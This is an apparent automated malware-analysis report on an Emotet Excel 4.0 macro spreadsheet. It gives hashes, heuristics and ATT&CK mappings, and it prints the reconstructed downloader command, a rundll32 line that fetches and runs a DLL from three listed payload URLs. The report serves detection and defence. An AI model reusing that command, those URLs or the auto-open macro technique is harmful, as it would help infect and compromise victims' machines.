Emotet — Office (OOXML) / .XLSM malware analysis

Static analysis result for SHA-256 c17c14f8440fdefa…

MALICIOUS

Office (OOXML) / .XLSM

83.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300
MD5: 7471a9ba599c2acfd41bea6425a724ec SHA-1: 252cc3154d20ed96dc06233bba0305c12146cd73 SHA-256: c17c14f8440fdefa29879068c2918c34171f4ca6b3276ac83e9d70fd7b2164cc
290 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.001 PowerShell T1105 Ingress Tool Transfer

This XLSM file utilizes Excel 4.0 macros, specifically leveraging the FORMULA API to download and execute a payload. The macro constructs a command line that invokes rundll32.exe to load and run a DLL from one of the provided URLs. The ClamAV signature 'Xls.Downloader.EmotetExcel01223-9936530-0' and the presence of multiple suspicious URLs strongly indicate the Emotet family. The reconstructed command line is: rundll32.exe D"&"l"&"lR"&"egister"&"Serve"&"r \Windows\ "urlmon","U eA","JJ CCBB",0,"https://kauffmancreates.com/images/G8050LVq/"," ..\adi.ocx" ,0, ..\adi.ocx, CCBB",0,"https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/"," CCBB",0,"http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/"," SysWow64\ ,0,0).

Heuristics 7

  • Excel 4.0 macro sheet (1 sheet(s)) critical OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: FORMULA critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • ClamAV: Xls.Downloader.EmotetExcel01223-9936530-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.EmotetExcel01223-9936530-0
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 3 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://kauffmancreates.com/images/G8050LVq/
    • https://sanagrafix.com/udll/fki4w1vFApT4Rwjp1R/
    • http://unifiedpharma.com/wp-admin/ildi5K2aTIrdvEobQ/
    • http://schemas.openxmlformats.org/spreadsheetml/2006/main
    • http://schemas.microsoft.com/office/excel/2006/main
    • http://schemas.openxmlformats.org/officeDocument/2006/relationships
    • http://schemas.openxmlformats.org/markup-compatibility/2006
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revision
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml
6fb9d96d745e6a97b95958af3e421aea342153dc862581839ac836f7728985da		 xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 2794 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.